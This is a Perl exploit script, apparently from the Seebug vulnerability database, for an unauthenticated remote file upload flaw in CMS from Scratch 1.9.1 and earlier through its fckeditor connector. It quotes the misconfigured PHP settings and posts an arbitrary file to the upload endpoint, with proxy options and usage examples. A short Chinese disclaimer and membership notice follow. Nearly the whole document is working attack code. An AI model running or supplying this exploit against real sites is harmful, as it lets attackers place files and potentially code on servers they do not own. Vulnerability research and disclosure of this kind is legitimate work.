#!/usr/bin/perl # ---------------------------------------------------------------- # CMS from Scratch <= 1.9.1 (fckeditor) Remote File Upload Exploit # by yeat - staker[at]hotmail[dot]it # http://scratchwebdesignforums.com/forums/index.php?showtopic=629 # ---------------------------------------------------------------- # (fckeditor/editor/filemanager/connectors/php/config.php) # 25. global $Config ; # 26. # 27. $Config['Enabled'] = (isset($_SESSION['loginStatus']) || # $_SESSION == NULL) ? true : false ; # ... # 39. $Config['UserFilesAbsolutePath'] = # realpath($_SERVER['DOCUMENT_ROOT']); # ---------------------------------------------------------------- use Getopt::Std; use LWP::UserAgent; getopts('p:',\my %opts); my $http = new LWP::UserAgent; my ($host,$file) = @ARGV; Main::RunExploit(); # Main Package package Main; sub Usage { return print <<EOF; +------------------------------------------------------------------+ | CMS from Scratch <= 1.9.1 (fckeditor) Remote File Upload Exploit | +------------------------------------------------------------------+ by yeat - staker[at]hotmail[dot]it Usage: perl xpl.pl host/path file [OPTIONS] host: target host and cms path file: file to upload Options: -p [specify a proxy] [server]:[port] Example: perl xpl.pl localhost/cms yeat.jpg perl xpl.pl localhost/cms yeat.jpg -p 213.151.89.109:80 EOF } sub RunExploit { if (defined $opts{p}) { HTTP::Proxy($opts{p}); } if (@ARGV < 2 || @ARGV > 4) { Main::Usage(); } else { FileUpload::Exploit($file); } } # File Upload Package package FileUpload; sub Exploit { my $file = shift; my $path = "/fckeditor/editor/filemanager/connectors/php/upload.php?Type=File"; my $data = { NewFile => [$file,$file] }; my $send = $http->post('http://'.$host.$path, $data, Content_Type => 'multipart/form-data', ); if ($send->is_success) { print $send->content; exit; } else { print "Exploit Failed!\n"; exit; } } # HTTP Package package HTTP; sub Cookies { return $http->default_header('Cookie' => $_[0]); } sub UserAgent { return $http->agent($_[0]); } sub GET { if ($_[0] !~ m{^http://(.+?)$}i) { return $http->get('http://'.$_[0]); } else { return $http->get($_[0]); } } sub http_header { return $http->default_header($_[0]); } sub Proxy { return $http->proxy('http', 'http://'.$_[0]); }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论